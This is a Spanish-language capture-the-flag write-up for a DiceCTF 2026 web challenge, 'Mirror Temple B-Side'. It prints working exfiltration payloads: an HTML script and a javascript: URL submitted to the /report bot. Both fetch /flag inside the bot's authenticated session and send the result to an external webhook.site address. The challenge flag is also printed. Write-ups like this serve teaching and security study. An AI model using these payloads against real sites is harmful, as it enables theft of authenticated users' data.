Mirror Temple B-Side
Datos del reto
| Campo | Valor |
|---|---|
| CTF | DiceCTF 2026 Quals |
| Reto | Mirror Temple B-Side |
| Categoría | Web |
| Flag | dice{neves_xis_cixot_eb_ot_tey_hguone_gnol_galf_siht_si_syawyna_ijome_lluks_eseehc_eht_rof_llef_dna_part_eht_togrof_i_derit_os_saw_i_galf_siht_gnitirw_fo_sa_sruoh_42_rof_ekawa_neeb_evah_i_tcaf_nuf} |
Descripción del reto
La base del reto era prácticamente la misma que en Mirror Temple. Había un bot autenticado, un /report que aceptaba URLs y una aplicación con /flag accesible dentro de la sesión del bot.
La diferencia es que aquí el camino de explotación no terminó siendo el mismo que en el reto original.
Reconocimiento
Lo primero fue probar en local la idea más directa: servir un HTML nuestro y hacerlo pasar por /proxy.
<!doctype html>
<html>
<body>
<script>
fetch("/flag")
.then(response => response.text())
.then(flag => {
location = "http://localhost:9000/leak?flag=" + encodeURIComponent(flag);
});
</script>
</body>
</html>
La URL de prueba era esta.
http://localhost:8080/proxy?url=http://localhost:9000/payload.html
En esa configuración, la página se comportaba como si formara parte del propio reto y el navegador acababa navegando a esta URL.
http://localhost:9000/leak?flag=dice%7Btestflag%7D
Con eso se confirmaba que había JavaScript ejecutándose dentro del origen autenticado del challenge.
Análisis
Lo que observé en local fue que /proxy devolvía HTML controlado por el atacante sin las restricciones que yo esperaba al ver el resto de cabeceras de la aplicación. En teoría había CSP y ciertos filtros, pero en la práctica yo podía ejecutar JavaScript arbitrario si conseguía que el bot cargara ese contenido dentro del origen del reto.
La cadena local quedaba así.
/reporthace que el bot abra una URL controlada por el atacante./proxytrae HTML remoto y lo sirve desde el origen del challenge.- El payload inline hace
fetch("/flag"). - El resultado se exfiltra con una redirección a un servidor propio.
Hasta aquí era casi la misma idea que en el reto principal.
En remoto, abusar de /proxy con destinos externos devolvía 400. En cambio, las URLs con esquema javascript sí se ejecutaban correctamente cuando se enviaban a /report.
Eso cambiaba la idea inicial, porque ya no hacía falta pasar por /proxy. El bot ejecutaba el payload directamente dentro de su página autenticada en localhost puerto 8080.
Resolución
Para remoto se usó una URL con esquema javascript.
javascript:fetch("/flag").then(r=>r.text()).then(flag=>location="https://webhook.site/6cebedef-1325-41bf-ad56-a67edfb1b78a?flag="+encodeURIComponent(flag))
Funcionaba por estas razones.
- El bot ya estaba autenticado.
- El payload corría en el contexto de
localhostpuerto8080. fetch("/flag")devolvía la flag real.location = ...la enviaba al webhook.
En remoto, el vector que funcionó no fue /proxy, sino la URL con esquema javascript.
Flag
dice{neves_xis_cixot_eb_ot_tey_hguone_gnol_galf_siht_si_syawyna_ijome_lluks_eseehc_eht_rof_llef_dna_part_eht_togrof_i_derit_os_saw_i_galf_siht_gnitirw_fo_sa_sruoh_42_rof_ekawa_neeb_evah_i_tcaf_nuf}